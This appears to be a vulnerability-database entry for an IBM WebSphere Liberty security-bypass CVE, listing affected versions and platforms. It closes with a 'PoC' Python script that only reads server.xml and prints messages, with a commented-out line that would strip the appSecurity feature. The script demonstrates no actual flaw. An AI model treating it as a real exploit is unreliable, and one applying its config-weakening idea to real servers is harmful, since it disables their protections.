IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.3 IBM WebSphere Application Server Liberty could provide weaker than expected security when administering security settings.
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ibm:i:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ibm:z\/os:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM WebSphere Application Server Liberty 17.0.0.3
IBM WebSphere Application Server Liberty 17.0.0.4
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IBM WebSphere Application Server Liberty 26.0.0.3
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2025-14917: IBM WebSphere Liberty Security Bypass
# This script demonstrates a conceptual bypass by manipulating the server configuration.
# Note: Actual exploitation requires local access and high privileges.
import xml.etree.ElementTree as ET
def exploit_poc(config_file_path):
"""
Simulates modifying the server.xml to bypass security settings.
"""
try:
tree = ET.parse(config_file_path)
root = tree.getroot()
# Logic to find and weaken security settings (conceptual)
# For example, disabling the appSecurity feature
for feature in root.findall(".//feature"):
if "appSecurity" in feature.text:
print(f"[+] Found security feature: {feature.text}")
# In a real exploit, this might be commented out or modified
# feature.text = "" # Removing feature to bypass
print("[+] Configuration manipulation attempted.")
print("[!] If vulnerable, security settings may be weakened.")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
# Placeholder path for WebSphere Liberty server.xml
CONFIG_PATH = "/opt/ibm/wlp/usr/servers/defaultServer/server.xml"
exploit_poc(CONFIG_PATH)